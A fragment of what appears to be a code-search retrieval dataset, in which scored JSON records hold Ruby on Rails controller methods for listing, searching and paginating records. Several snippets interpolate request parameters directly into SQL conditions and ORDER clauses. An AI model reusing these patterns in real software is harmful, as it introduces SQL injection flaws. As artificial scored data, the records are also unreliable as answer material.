\n else\n sort_fields2 = \"#{items}.#{words.first}\"\n end\n scope = scope.order_by(sort_fields2, sort_dir)\n end\n\n scope = yield scope if block_given?\n scope = scope.unscoped if wants.csv?\n scope = scope.page(current_page).per(per_page)\n scope\n end", "title": "" }, { "docid": "4502aa331e7a0a554baf1f0cafe4e91b", "score": "0.5764066", "text": "def tables\n @entries = Table.includes(:outlet, :table_section).where(\"location_id=? #{@outlet_query}\", params[:location_id].to_i).paginate(:page => params[:page]) if request.xhr? \n end", "title": "" }, { "docid": "d4d1d12cb345ffa4f559fd284d827ee9", "score": "0.5751328", "text": "def load\n @title = params[:listing_type]\n @tag = params[:tag]\n @to_render ||= {:partial => \"listings/listed_listings\"}\n @listings = Listing.open.order(\"created_at DESC\").find_with(params, @current_user, @current_community).paginate(:per_page => 3, :page => params[:page])\n @request_path = request.fullpath\n if request.xhr? && params[:page] && params[:page].to_i > 1\n render :partial => \"listings/additional_listings\"\n else\n render @to_render\n end\n end", "title": "" }, { "docid": "211cbf1765255589c4e317bafa686f6f", "score": "0.5751238", "text": "def index\n # @listings = Listing.all\n if params.present? \n @listingssearch = Listing.search(params) \n \n # flash[:notice] = \"Please see listings below\"\n \n else\n @listingssearch = Listing.all \n end\n \n #for ransack you use rails activerecord query methods on the result from ransack i.e. @search.result\n @listingsboats = @listingssearch.where(:vehicletype => 'Boat').order(sort_column + \" \" + sort_direction)\n # .paginate(:page => params[:page], :per_page => 100)\n\n # @listingsrvs = Listing.search(params)\n @listingsrvs = @listingssearch.where(:vehicletype => 'RV').order(sort_column + \" \" + sort_direction)\n # .paginate(:page => params[:page], :per_page => 100)\n\n\n # .page(params[:page]).per_page(4) \n end", "title": "" }, { "docid": "442e4b6e2960c0f43a8517588502b59e", "score": "0.5744923", "text": "def show\n @company_listing_ids_with_titles = [\"\"]\n @listing_images = {}\n\n search = {\n author_id: @author.id,\n include_closed: true,\n page: 1,\n per_page: 1000\n }\n\n includes = [:author, :listing_images]\n company_listings = ListingIndexService::API::Api.listings.search(community_id: @current_community.id, search: search, includes: includes).and_then { |res|\n Result::Success.new(\n ListingIndexViewUtils.to_struct(\n result: res,\n includes: includes,\n page: search[:page],\n per_page: search[:per_page],\n ))\n }.data\n\n company_listings.each do |listing|\n @company_listing_ids_with_titles << [listing.title, listing.id]\n @listing_images[listing.id] = listing.listing_images.first.small_3x2 if listing.listing_images != []\n end\n\n render :show, :locals => { :listing_id => params[:listing_id] }\n end", "title": "" }, { "docid": "9b58cddbf50027a1b96281b7269b6bea", "score": "0.57335293", "text": "def index\n @listing = Listing.new\n\n if params[:tag] # if searching by tag\n @listings = Listing.where(wyncode_only: false).tagged_with(params[:tag].downcase).page(params[:page]).per_page(20).order(:created_at => :desc) #.per_page(12).order(:created_at => :desc) \n elsif params[:all] \n @listings = active_listings\n elsif params[:us]\n @listings = Listing.where(:country => \"US\").paginate(:page => params[:page], :per_page => 20).order(:created_at => :desc)\n elsif params[:international]\n @listings = Listing.where(:country => nil, wyncode_only: false).paginate(:page => params[:page], :per_page => 20).order(:created_at => :desc)\n elsif current_user && params[:search].blank? && current_user.state.present?\n @listings = Listing.where(active: true, state: current_user.state, wyncode_only: false).paginate(:page => params[:page], :per_page => 20).order(\"created_at DESC\")\n elsif (params[:search].blank? && remote_ip) || (params[:my_state] && remote_ip)\n # @geocoder_current_state = geocoder_current_state\n unless Listing.where(:active => true, :state => geocoder_current_state).count == 0\n @listings = Listing.where(:active => true, :state => geocoder_current_state, wyncode_only: false).paginate(:page => params[:page], :per_page => 20).order(:created_at => :desc)\n else\n @listings = active_listings\n end\n elsif params[:search]\n @listings = Listing.search(params[:search])\n else\n @listings = active_listings\n end\n\n # trying to make fewer geocoder api calls\n if current_user && current_user.state.nil?\n unless geocoder_current_state.nil?\n current_user.state = geocoder_current_state\n current_user.save\n end\n end\n end", "title": "" }, { "docid": "39313b0e497dc3a425c4d1df33789c75", "score": "0.57294637", "text": "def indexKaminariTable\n\n @sort = nil\n @direction = nil\n @sort = params[:sort] if params[:sort]\n @direction = params[:direction] if params[:direction]\n\n @sort = 'id' if @sort == nil\n @direction = 'asc' if @direction == nil\n if params[:search]\n @downloads = Download.where(\"name like :search\", search: params[:search]).order(\"#{@sort} #{@direction}\").page(params[:page]).per(get_perPage)\n else\n @downloads = Download.order(\"#{@sort} #{@direction}\").page(params[:page]).per(get_perPage)\n end\n\n end", "title": "" }, { "docid": "c74204e0371aff24f7229dc49af26034", "score": "0.5717628", "text": "def do_list\n # id: nil needed in params_for because rails reuse it even\n # if it was deleted from params (like do_refresh_list does)\n @remove_id_from_list_links = params[:id].blank?\n @page = current_page\n @records = @page.items\n cache_column_counts @records\n end", "title": "" }, { "docid": "7c78c224dbfa839d65013538f463e567", "score": "0.57167095", "text": "def index\n @library_rows = LibraryRow.all\n end", "title": "" }, { "docid": "e8feda58574dd468d2d9c97de5a1d701", "score": "0.5707078", "text": "def my_listings\n page = params[:page]\n offset = page.to_s+\"0\"\n @prevPage = page.to_i-1\n @nextPage = page.to_i+1\n\n userID = session[:user_id]\n\n uri = URI(\"http://107.170.7.58:4567/api/sell\")\n parameters = {\"ext\" => \"json\", \"user_id\" => userID, \"count\" => \"10\", \"offset\" => offset}\n response = Net::HTTP.post_form(uri, parameters)\n\n list = JSON.parse(response.body)\n\n @sells = Array.new\n @books = Array.new\n list.each do |listing|\n if listing[\"kind\"].eql? \"sell\"\n @sells.push Sell.new(listing[\"data\"])\n else if listing[\"kind\"].eql? \"book\"\n @books[listing[\"data\"][\"id\"]] = Edition.new(listing[\"data\"])\n end\n end\n end\n end", "title": "" }, { "docid": "3f0788e1c6fb09e5a73a929c5f3bdfa5", "score": "0.56997854", "text": "def serve_listing_data\n @listings = Listing.open.joins(:origin_loc).group(\"listings.id\").\n order(\"listings.created_at DESC\").find_with(params, @current_user, @current_community).select(\"listings.id, listing_type, category\")\n render :json => { :data => @listings }\n end", "title": "" }, { "docid": "f6f3e117ab3a09a265fbd1c86dae6011", "score": "0.5677376", "text": "def list\n find = params[:find].blank? ? 0 : params[:find].to_i\n keyword = params[:keyword].blank? ? '' : params[:keyword]\n pgnum = params[:pgnum].blank? ? 1 : params[:pgnum].to_i\n pgsize = params[:pgsize].blank? ? 0 : params[:pgsize].to_i\n sortcolumn = params[:sortcolumn].blank? ? DesignationHelper::DEFAULT_SORT_COLUMN \n : params[:sortcolumn]\n sortdir = params[:sortdir].blank? ? DesignationHelper::DEFAULT_SORT_DIR : \n params[:sortdir]\n \n sort = ApplicationHelper::Sort.new(sortcolumn, sortdir)\n \n if find == 0 && keyword.blank?\n @data = DesignationHelper.get_all(pgnum, pgsize, sort)\n \n else\n @data = DesignationHelper.get_filter_by(find, keyword, pgnum, pgsize, sort)\n end\n \n respond_to do |fmt|\n fmt.html { render :partial => 'list' }\n fmt.json { render :json => @data }\n end\n end", "title": "" }, { "docid": "aa74329965c14b317ab1762ef9b7c26b", "score": "0.5658538", "text": "def show\n @websitepages = @website.pages\n @pages = @websitepages.where(:show_page_on_index => true)\n @times = @website.timetables \n @search = Inventory.where(:website_id => @website.id).ransack(params[:q]) \n @listings = @search.result.paginate(:per_page => 12, :page => params[:page]) \n @search.build_condition \n\n # @newlisting = Listing.new(\"https://fierce-sea-43472.herokuapp.com/categories.json\") \n # @listings = @newlisting.getresponse((User.find_by_id(@website.user_id).email).to_s)\n # if params[:sort].present? && params[:direction].present?\n \n # else\n # @listings = @search.result.paginate(:per_page => 12, :page => params[:page]) \n # end\n\n end", "title": "" }, { "docid": "68206d18e4c0908a6b975999f11dcd83", "score": "0.56561357", "text": "def index\n @search = Slisting.search(params[:q])\n @slistings = @search.result\n end", "title": "" }, { "docid": "f7db93e265ae3a53a5f63d976d7bad67", "score": "0.5654358", "text": "def index3\n if params[:search]\n @search = Search.new(params[:search])\n @search.save\n #The below is the perfect search\n \n #AWESOME! Check the polymorphic search with joins as in \"seller_user_login_like => @search.seller\". Impressive!\n search = Listing.search(:removed_eq => \"0\",\n :nr_of_items_in_stock_gt => 0,\n :creation_eq => \"completed\",\n :category_id_eq => @search.category_id,\n :title_like => @search.name,\n :price_gt => @search.min_price,\n :price_lt => @search.max_price,\n :description_like => @search.description,\n :category_tag_like => @search.other_tags,\n :seller_user_login_like => @search.seller,\n :material_tag_like => @search.material_tags\n )\n @listings = search.all\n\n \n @number_of_results = @listings.size \n @search.category_id = params[:search][:category_id].to_i\n @search.subcategory_id = params[:search][:subcategory_id].to_i\nelse\n @nosearch = 1\n @listings = Listing.find(:all,\n :conditions => [\"category_id = ?\", 1])\n @search = Search.new(params[:search])\nend\n @categories = Category.all\n @categories.each do |s|\n s.name = t(s.name) \n end \n #Should load depending on category. Select the ajax update from the new listing page.\n @subcategories = Subcategory.all \n @subcategories.each do |s|\n s.name = t(s.name) \n end \n @listings = @listings.paginate(:per_page => 12, :page => params[:page])\n \n #Define breadcrumbs\n @l1_link = listings_path\n @l1_name = t(\"controllers.listings.s3\")\n \n respond_to do |format|\n format.html # index2.html.erb\n format.xml { render :xml => @listings }\n end\nend", "title": "" }, { "docid": "5379828e74dab95f6a5393408edac947", "score": "0.56496966", "text": "def index\n # @listings = Listing.all.order('created_at DESC')\n # @listings, @alphaParams = Listing.alpha_paginate(params[:letter], {db_mode: true, db_field: \"address\"})\n @listings, @alphaParams = Listing.all.alpha_paginate(params[:letter]){|listing| listing.address}\n add_breadcrumb \"Listings\", :listings_path\n end", "title": "" }, { "docid": "48a1e18dacc8532655dd393721535f99", "score": "0.5646452", "text": "def index\n @listings = Listing.all.order(\"created_at DESC\")\n end", "title": "" }, { "docid": "a5e70ac708671bd6cada9cb489d67452", "score": "0.56439614", "text": "def search\n @listings = Listing.where(id: params[:id])\n @listings = Listing.search(params[:search])\n end", "title": "" }, { "docid": "7b0684a39e1190da9afe78eeef09360d", "score": "0.5638151", "text": "def index\n @bookings = smart_listing_create(:bookings, Booking.includes(:seat, :user).where(user_id: current_user.id), partial: \"bookings/listing\")\n end", "title": "" }, { "docid": "08f02459a4db7430beb184ca158b4558", "score": "0.5633058", "text": "def index\n #if params[:category].blank?\n @datagalleries = Datagallery.paginate(:page => params[:page], :per_page => 10).order(\"created_at DESC\")\n #else\n #@category_id = Category.find_by(name: params[:category]).id\n #@listings = Listing.where(category_id: @category_id).order(\"created_at DESC\")\n #end\n end", "title": "" }, { "docid": "93734b8ddfc8617d7a88725fd8494acc", "score": "0.5631711", "text": "def index\n if user_signed_in?\n @listings = []\n current_user.addresses.includes(user: { addresses: [] }).pluck(:postcode).uniq.each do |cupc|\n Listing.with_attached_images.all.active.includes(user: { addresses: [] }).each do |listing|\n pc = listing.user.addresses.first.postcode\n @listings << listing if pc == cupc\n end\n end\n @listings\n else\n @listings = Listing.with_attached_images.all.active.sample(6)\n end\n end", "title": "" }, { "docid": "146c7a7f54465945ed1c3a2dcbaadbcf", "score": "0.5621977", "text": "def listings\n\t\t@current_user ||= User.find(session[:user_id]) if session[:user_id]\n\t\t@listings = Listing.find_all_by_user_id(@current_user)\n\tend", "title": "" }, { "docid": "b38c676447700dc9330aefdbc75d447b", "score": "0.5618658", "text": "def index\n begin\n\n conditions = \"(parent_id=#{params[:instance_id]} or child_id=#{params[:instance_id]})\"\n params[:conditions] = add_condition(params[:conditions], conditions, :and) \n \n @parcel = get_paginated_records_for(\n :for => Link,\n :start_index => params[:start_index],\n :max_results => params[:max_results],\n :order_by => params[:order_by],\n :direction => params[:direction],\n :conditions => params[:conditions]\n )\n render :response => :GETALL\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n \n\n end", "title": "" }, { "docid": "5906c547e3ea051ac76e6eddeee4bb64", "score": "0.56103975", "text": "def index\n if params[:query].present?\n @listingss = Listing.search params[:query], fields: [:search_tags], where: {imove_in: params[:imove_in], price: {gte: params[:lower], lte: params[:higher]}}, order: {published_at: :desc,}\n @listings = Kaminari.paginate_array(@listingss).page(params[:listing]).per(10)\n else\n @listings = Listing.all.order(\"published_at DESC\").page(params[:listing]).per(10)\n end\n @hash = Gmaps4rails.build_markers(@listings) do |listing, marker|\n marker.lat listing.latitude\n marker.lng listing.longitude\n end\n end", "title": "" }, { "docid": "fc71bd823f6bf7664991934d568a7866", "score": "0.560136", "text": "def set_listing\n @listing = Listing.find(params[:id])\n @amenities = Amenity.all\n @rules = Rule.all\n @pictures = @listing.pictures\n end", "title": "" }, { "docid": "ded5e0ce5853cc73f51be4389d88f3da", "score": "0.56006944", "text": "def load\n return self if @entity[:next].nil? || @entity[:results].length == @entity[:total]\n\n np = self\n until np.next.nil?\n np = np.next_page\n @entity[:results].concat(np.results.map(&:to_h))\n end\n @entity[:next] = nil\n @entity[:per_page] = @entity[:total]\n self\n end", "title": "" }, { "docid": "e4f1e2ab56ea32a1181e5ba0d783ead4", "score": "0.5597568", "text": "def load_records(relation = nil, paging = true)\n begin\n # reset values.\n # @config[:records] is set to the return of this method, we we won't change that here.\n @config[:records_total] = 0\n @config[:records_filtered] = 0\n @config[:error] = nil\n\n Incline::Log::debug \"Loading records for data tables request #{draw}.\"\n\n # Get the default starting scope if necessary.\n relation ||= @config[:starting_scope].call\n\n # store the unfiltered count.\n @config[:records_total] = relation.count\n\n # If we have search parameters and any of the search parameters is a regular expression or\n # one or more columns being searched is not a database column, then filtering must be done\n # locally.\n filter_local =\n !(search.blank? && columns.reject{|c| c[:search].blank? }.blank?) &&\n (\n # main search is a regex.\n search.is_a?(::Regexp) ||\n # one or more column searches is a regex.\n columns.select{|c| c[:search].is_a?(::Regexp)}.any? ||\n # one or more searchable columns is not in the database model\n columns.reject {|c| !c[:searchable] || relation.model.column_names.include?(c[:name].to_s) }.any?\n )\n\n order_local = ordering.blank? || ordering.reject{|k,_| relation.model.column_names.include?(k.to_s)}.any?\n\n Incline::Log::debug \"Filtering will be done #{(filter_local || order_local) ? 'application' : 'database'}-side.\"\n Incline::Log::debug \"Ordering will be done #{order_local ? 'application' : 'database'}-side.\"\n\n unless filter_local\n ### Database Side Individual Filtering (AND) ###\n columns.reject{|c| c[:search].blank? || c[:name].blank?}.each do |col|\n relation = relation.where(\"(UPPER(\\\"#{col[:name]}\\\") LIKE ?)\", \"%#{col[:search].upcase}%\")\n end\n\n ### Database Side Multiple Filtering (OR) ###\n unless search.blank?\n srch = \"%#{search.upcase}%\"\n cols = columns.select{|c| c[:searchable]}.map{|c| c[:name].to_s }.reject{|c| c.blank?}\n if cols.any?\n relation = relation.where(\n cols.map{|c| \"(UPPER(\\\"#{c}\\\") LIKE ?)\"}.join(' OR '),\n *(cols.map{ srch })\n )\n end\n end\n end\n\n ### Database Side Ordering ###\n unless order_local\n relation = relation.order(ordering)\n end\n\n # Now we have two paths, if we are filtering/ordering locally, we need to return everything up to this point and\n # perform our filters before limiting the results.\n # If we filtered and ordered at the database, then we can limit the results there as well.\n if filter_local || order_local\n # execute the query\n relation = relation.to_a\n\n ### Application Side Ordering ###\n if order_local\n ordering_list = ordering.to_a\n relation.sort!{|a,b| local_sort(a, b, ordering_list) }\n end\n\n ### Local Individual Filtering (AND) ###\n columns.reject{|c| c[:search].blank? || c[:name].blank?}.each do |col|\n name = col[:name].to_s\n srch = col[:search]\n relation =\n if srch.is_a?(::Regexp)\n relation.select { |item| get_value(item, name) =~ srch }\n else\n srch = srch.to_s.upcase\n relation.select { |item| get_value(item, name).to_s.upcase.include?(srch) }\n end\n end\n\n ### Local Multiple Filtering ###\n unless search.blank?\n cols = columns.select{|c| c[:searchable]}.map{|c| c[:name].to_s }.reject{|c| c.blank?}\n relation =\n if search.is_a?(::Regexp)\n relation.select{|item| cols.find{|col| get_value(item,col) =~ search} }\n else\n srch = search.to_s.upcase\n relation.select{|item| cols.find{|col| get_value(item,col).to_s.upcase.include?(srch) }}\n end\n end\n\n # store the filtered count.\n @config[:records_filtered] = relation.count\n\n if paging\n # apply limits and return.\n relation = relation[start..-1]\n if length > 0\n relation = relation[0...length]\n end\n end\n relation\n else\n # store the filtered count.\n @config[:records_filtered] = relation.count\n\n if paging\n # apply limits and return.\n relation = relation.offset(start)\n if length > 0\n relation = relation.limit(length)\n end\n end\n relation.to_a\n end\n rescue =>err\n @config[:error] = err.message\n Incline::Log::error err\n [ ]\n end\n end", "title": "" }, { "docid": "32ceda11246f0160eb4b2c28fc22ff25", "score": "0.5595152", "text": "def initialize(name, klass = nil, table_name = nil, params = nil)\n super(self, nil, name)\n initialize_node(name, klass, table_name)\n \n self.url = nil\n self.ajax_type = :get\n self.enable_sort_window = false\n self.leafs = []\n self.dataset = nil\n self.resultcount = 0\n\n self.query = {}\n self.request_params = (params || {})\n \n self.grid_type = Fancygrid.default_grid_type\n self.search_visible = Fancygrid.search_visible\n self.search_type = Fancygrid.default_search_type\n self.search_operators = Fancygrid.search_operators\n self.search_formats = {}\n self.simple_search_operators = ActiveSupport::HashWithIndifferentAccess.new({})\n \n if Fancygrid.use_grid_name_as_cells_template\n self.template = File.join(Fancygrid.cells_template_directory.to_s, name.to_s)\n else\n self.template = File.join(Fancygrid.cells_template_directory.to_s, Fancygrid.cells_template.to_s)\n end\n \n self.per_page_options = Fancygrid.default_per_page_options\n self.per_page_selection = Fancygrid.default_per_page_selection\n \n view_opts = self.request_params[:fancygrid] || {}\n view_opts = view_opts[self.name]\n \n self.load_view(view_opts || {})\n end", "title": "" }, { "docid": "96c18f2dd45adedc88bda2c3c41320f8", "score": "0.55930114", "text": "def index\n @trainings = Training.all.paginate(page: params[:page], per_page: 3)\n end", "title": "" }, { "docid": "251636d9ef1becf7c768874f94459d51", "score": "0.5591485", "text": "def index\n @listing_assets = ListingAsset.all\n end", "title": "" }, { "docid": "7ebd8273f14f8aed48971a565ec24aae", "score": "0.55886495", "text": "def list\n job = Job.find(params[:job_id], :include => :images_for_jobs)\n exact_job_id = job.get_parent_job_id\n job = Job.find(exact_job_id, :include => :images_for_jobs) if exact_job_id != job.id\n batch = job.batch\n @facility = batch.facility\n images_for_jobs = job.images_for_jobs\n unless images_for_jobs.blank?\n images_for_jobs_ids = []\n images_for_jobs.each do |images_for_job|\n images_for_jobs_ids << images_for_job.id\n end\n end\n @image_types = ImageType.includes(:insurance_payment_eob).where([\"images_for_job_id IN (?) \", images_for_jobs_ids]).order(\"image_page_number asc\").paginate( :per_page => 50,:page => params[:page]) unless images_for_jobs_ids.blank?\n end", "title": "" }, { "docid": "b8d90cd7c68e0b763fd944a1d104cb6e", "score": "0.55841804", "text": "def browse\n\t\t@listings = Listings.find(:all)\n\tend", "title": "" }, { "docid": "3845e450e8c0cf975bfed489e54f7ffd", "score": "0.5582665", "text": "def index\n #@buildings = associated_model_class.available_for_user(current_user)\n instance_variable_set(resource_instance_variable_name.pluralize, resource_class.available_for_user(current_user).page(params[:page]).per(25))\n #instance_variable_set(\"@#{self.parent_resource_class.name.underscore.pluralize}\".to_sym, self.resource_class.available_for_user(current_user))\n\n @table_columns = [ 'Address', 'Price', 'Price currency']\n if resource_class == Building\n @table_columns.insert(0, \"Type\")\n end\n\n #render json: resources_instance_variable\n\n respond_with resources_instance_variable\n end", "title": "" }, { "docid": "d7cfa92fff8e6c4b984e3e9ac348f12d", "score": "0.55769044", "text": "def index\n # @photos = Photo.all\n \n @imageable = find_imageable\n @photos= if !(@imageable.nil?)\n @imageable.photos.paginate(:page=>params[:page], :per_page =>10)\n else\n Photo.paginate(:page=>params[:page], :per_page =>10)\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos }\n end\n end", "title": "" }, { "docid": "54c6241912a964fcdb6b4ecf0accac80", "score": "0.55732983", "text": "def list_postings\n posting=Posting\n @postings = initialize_grid(posting)\n end", "title": "" }, { "docid": "97816140d6b6e3dd5883822df3ae87e0", "score": "0.5570259", "text": "def index\n @listings = Listing.search(params[:search], params[:city])\n end", "title": "" }, { "docid": "4a15514c11324a1bc9ee363e5fa492ac", "score": "0.55486435", "text": "def browse\n #@listings = Listing.find(:all, :order => \"type\")\n @user = current_user\n @listings = Listing.find(:all, \n :conditions => [\"user_id != ? and status = 'new'\",@user.id ],\n :order => :type, \n :page => {:size => 4, :current => params[:page]})\n @header_type = \"Browse All Listings\"\n \n \n end", "title": "" }, { "docid": "bfc38a9d2e92c7707ec3cc0ccdb8232e", "score": "0.5539035", "text": "def index\n @listings = SaleListing.all\n end", "title": "" }, { "docid": "96e2f9afe7d7bdab7ee73dfcc1657023", "score": "0.55373496", "text": "def index\n if params[:category].nil?\n if params[:search].present?\n @search = Listing.search do\n fulltext params[:search]\n with(:is_open, true)\n paginate :page => params[:page], :per_page => LISTINGS_PER_PAGE\n end\n @listings = @search.results\n else\n @listings = Listing.where(:is_open => true).reverse_order.page(params[:page]).per(LISTINGS_PER_PAGE)\n end\n elsif Category.where( :name => params[:category] ).present?\n @category_id = Category.where( :name => params[:category] ).first.id\n @listings = Listing.where( :category_id => @category_id , :is_open => true).reverse_order.page(params[:page]).per(LISTINGS_PER_PAGE)\n end\n @categories = Category.all.map{|c| [ c.name, c.id ] }\n end", "title": "" }, { "docid": "2b1fcef202f00f812d3fc298453482f7", "score": "0.5532143", "text": "def fetch_listing_nodes\n @page_nodes.each do |node|\n all_rows = node.css('table')[1].css('tr:not(.directionheader)')\n all_rows.each do |row|\n @listing_nodes.push(\n row.css('td')\n )\n end\n end\n end", "title": "" }, { "docid": "ec3a3d066fccf992eced1d9b1b1e880b", "score": "0.5529397", "text": "def index\n @album_listings = AlbumListing.where(buyer_id: nil)\n end", "title": "" }, { "docid": "dca1f8d271da5266c52e69b54a00a7de", "score": "0.55142766", "text": "def images\n @images ||= Image.find_all_by_listing_id(listing_id, oauth)\n end", "title": "" }, { "docid": "76a5f0ca8e8a1fc014abdf283902410d", "score": "0.5509629", "text": "def index\n @listings = Listing.order(params[:sort])\n end", "title": "" }, { "docid": "6f531c6c249fe3776109a195775d5fe2", "score": "0.5504344", "text": "def show\n # @listing_images = @listing.listing_images.all\n # @listing_images = ListingImage.new(listing_image)\n\n end", "title": "" }, { "docid": "00d8e4e54c925891396c22be43cfb0bc", "score": "0.5494245", "text": "def index\n @loc_images = LocImage.all\n \n end", "title": "" }, { "docid": "0308b2d0e26b651500e73cae2cedba36", "score": "0.5493449", "text": "def table_sections\n @entries = TableSection.includes(:outlet).where(\"location_id=? #{@outlet_query}\", params[:location_id].to_i).paginate(:page => params[:page]) if request.xhr? \n end", "title": "" }, { "docid": "43878a3b7c46624618bd0a8c5ca3f57c", "score": "0.54917365", "text": "def set_listing\n @listing = Listing.find(params[\"id\"])\n end", "title": "" }, { "docid": "fdade8612915ba9d448ad640307de4ae", "score": "0.5488422", "text": "def index\n @listings = Listing.all\n render json: @listings\n end", "title": "" }, { "docid": "b1df626bf64ea7080d779be6131bc37d", "score": "0.5478816", "text": "def index\n @q = Listing.all.where('id NOT IN (SELECT DISTINCT(listing_id) FROM purchases)').ransack(params[:q])\n @listings = @q.result(distinct: true).page(params[:page]).per(30)\n end", "title": "" }, { "docid": "72fa67c293f9e118ebea3516b57fbe93", "score": "0.5478467", "text": "def index\n @loadings = Loading.all\n end", "title": "" }, { "docid": "da1b4000f61c3ecd0d7a1853d232958b", "score": "0.54758155", "text": "def set_listing\n @listing = Listing.find_by(address: params[:address])\n end", "title": "" }, { "docid": "c64803008359bbfe78bee0e6f1bc2c68", "score": "0.5462561", "text": "def index\n @filters = Filter.all\n @cars = Car.standard.has_photos.owner_has_login.includes(:user, :photos, :trim, model: :make)\n filter = Filter.find_by(id: params[:filter])\n if params[:search].present? || (params[:lat].present? && params[:lng].present?)\n @cars = @cars.simple_search(params[:search], params[:lat], params[:lng], params[:radius])\n @user_count = User.simple_search(params[:search], params[:lat], params[:lng], params[:radius]).count\n elsif filter\n @cars = filter.search\n end\n\n per_page = 12\n\n # Show random results on first page, order by date for page 2+\n if params[:page].to_s.to_i > 1 || params[:search].present? || (params[:lat].present? && params[:lng].present?)\n @cars = @cars.order(created_at: :desc)\n start_at = params[:page].to_i\n start_at = 1 if start_at.zero?\n @for_pagination = @cars.page(start_at).per(per_page)\n # Start at page 1 when user is at page 2 (since page 1 is really a random set)\n start_at -= 1 if params[:search].blank?\n @cars = @cars.page(start_at).per(per_page)\n else\n @for_pagination = @cars.page(params[:page]).per(per_page)\n @cars = @cars.where(id: @cars.pluck(:id).sample(per_page))\n end\n end", "title": "" }, { "docid": "b347080fcec135abb3e8605d2dd15615", "score": "0.5459824", "text": "def index\n @bookings = Booking.order(updated_at: :desc).page(params[:page]).per(NUM_PER_PAGE)\n end", "title": "" }, { "docid": "e0d19540706cef4f57248d588a8906c7", "score": "0.5454213", "text": "def index\n if params[:visit_id]\n @visit = Visit.find(params[:visit_id])\n @search = @visit.image_datasets.search(params[:search])\n @image_datasets = @search.relation.page(params[:page]).per(50).all\n @total_count = @image_datasets.count\n @page_title = \"All Image Datasets for Visit #{@visit.rmr}\"\n else\n # @image_datasets = ImageDataset.find_all_by_visit_id(params[:visit_id])# .paginate(:page => params[:page], :per_page => PER_PAGE)\n # @visit = Visit.find(params[:visit_id])\n # @total_count = @image_datasets.count\n # @page_title = \"All Image Datasets for Visit #{@visit.rmr}\"\n # else\n @search = ImageDataset.search(params[:search])\n \n # Set pagination and reporting options depending on the requested format\n # (ie Don't paginate datasets on CSV download.)\n if params[:format]\n @image_datasets = @search.relation\n \n # Eventually, we'll be able to set exactly what we want included in the \n # report from the web interface. For now, we'll do it programatically \n # here in the controller.\n light_include_options = :image_dataset_quality_checks\n heavy_include_options = {\n :image_dataset_quality_checks => {:except => [:id]},\n :visit => {:methods => :age_at_visit, :only => [:scanner_source, :date], :include => {\n :enrollments => {:only => [:enumber], :include => { \n :participant => { :methods => :genetic_status, :only => [:gender, :wrapnum, :ed_years] }\n }}\n }}\n }\n else\n @image_datasets = @search.relation.page(params[:page])\n end\n \n # @total_count = all_images.size # I'm not sure where this method is coming from, but it's breaking in ActiveResource\n @total_count = ImageDataset.count\n @page_title = \"All Image Datasets\"\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :text => @image_datasets.to_xml(:except => [:dicom_taghash])}\n format.csv { render :csv => ImageDataset.csv_download(@image_datasets, heavy_include_options) }\n end\n end", "title": "" }, { "docid": "611dea85c48a6f8721ac2daab6e69e8e", "score": "0.5448711", "text": "def index\n race_cars_scope = RaceCar.includes(:driver)\n race_cars_scope = race_cars_scope.where(class_type: params[:class_type]) if params[:class_type].present?\n race_cars_scope = race_cars_scope.where(start_no: params[:start_no].to_i) if params[:start_no].present?\n smart_listing_create(:race_cars, race_cars_scope, partial: \"race_cars/listing\", default_sort: {votes: \"desc\"})\n end", "title": "" }, { "docid": "116a38435454887c6921102c866c5083", "score": "0.5434087", "text": "def index\n @photos = get_possible_photos\n paginate json: @photos, per_page: 10\n end", "title": "" }, { "docid": "40cbf95cdc37ed0ad3a5842cf3b09887", "score": "0.5431167", "text": "def index\n if params[:category].blank?\n @listings = Listing.all.order(\"created_at DESC\")\n else\n @category_id = Category.find_by(name: params[:category]).id\n @listings = Listing.where(category_id: @category_id).order(\"created_at DESC\")\n end\n end", "title": "" }, { "docid": "4a7530e5b675b2359bf65a6a2a518b61", "score": "0.5430409", "text": "def index\n @listings = Listing.by_user(current_user).all\n\n render json: @listings\n end", "title": "" }, { "docid": "9e6698d16d4f08cbd3eb9742381d9696", "score": "0.5428408", "text": "def index\n # @media_items = MediaItem.all\n respond_to do |format|\n format.html do\n @grid = initialize_grid @media_items\n end\n format.json do\n @media_items = @media_items.page(params[:page]) if params[:page].present?\n @media_items = @media_items.per(params[:per_page]) if params[:per_page].present?\n end\n end\n end", "title": "" }, { "docid": "ca628c63d17a2aa04d862d0ef0500bd3", "score": "0.542044", "text": "def index\n @tables = Table.order(:table_number).page(params[:page]).per(10)\n end", "title": "" }, { "docid": "b797100a8da53a7a98dac47316056bf0", "score": "0.54111403", "text": "def set_listing_index\n @listing_index = ListingIndex.find(params[:id])\n end", "title": "" }, { "docid": "74af6ae9362b8414c4fed0b504a7880c", "score": "0.54078543", "text": "def do_list\n includes_for_list_columns = active_scaffold_config.list.columns.collect{ |c| c.includes }.flatten.uniq.compact\n self.active_scaffold_includes.concat includes_for_list_columns\n\n options = { :sorting => active_scaffold_config.list.user.sorting,\n :count_includes => active_scaffold_config.list.user.count_includes }\n paginate = (params[:format].nil?) ? (accepts? :html, :js) : ['html', 'js'].include?(params[:format].to_s)\n if paginate\n options.merge!({\n :per_page => active_scaffold_config.list.user.per_page,\n :page => active_scaffold_config.list.user.page,\n :pagination => active_scaffold_config.list.pagination\n })\n end\n\n if active_scaffold_config.model.respond_to?(:tableless?) && active_scaffold_config.model.tableless?\n @records = Kaminari.paginate_array(active_scaffold_config.model.all)\n @records = @records.page(options[:page]).per(options[:per_page]) if options[:pagination]\n else\n @records = find_page(options);\n end\n @records\n end", "title": "" }, { "docid": "11adb983762d250b09f0690a6dc2c9f2", "score": "0.53959477", "text": "def index\n @images = Image.where(homepage: true).order(updated_at: :desc).paginate(:page => params[:page], :per_page => 3)\n end", "title": "" }, { "docid": "6cf105a0a0b4ac84e641f7d3b7f6dfad", "score": "0.5393306", "text": "def set_listing\n\t\t\t@listing = Listing.find(params[:id])\n\t\tend", "title": "" }, { "docid": "b38e7e4af44bf49536385e3a31a08955", "score": "0.5391924", "text": "def set_listing\n @listing = Listing.find(params[:id])\n end", "title": "" }, { "docid": "b38e7e4af44bf49536385e3a31a08955", "score": "0.5391924", "text": "def set_listing\n @listing = Listing.find(params[:id])\n end", "title": "" }, { "docid": "b38e7e4af44bf49536385e3a31a08955", "score": "0.5391924", "text": "def set_listing\n @listing = Listing.find(params[:id])\n end", "title": "" }, { "docid": "b38e7e4af44bf49536385e3a31a08955", "score": "0.5391924", "text": "def set_listing\n @listing = 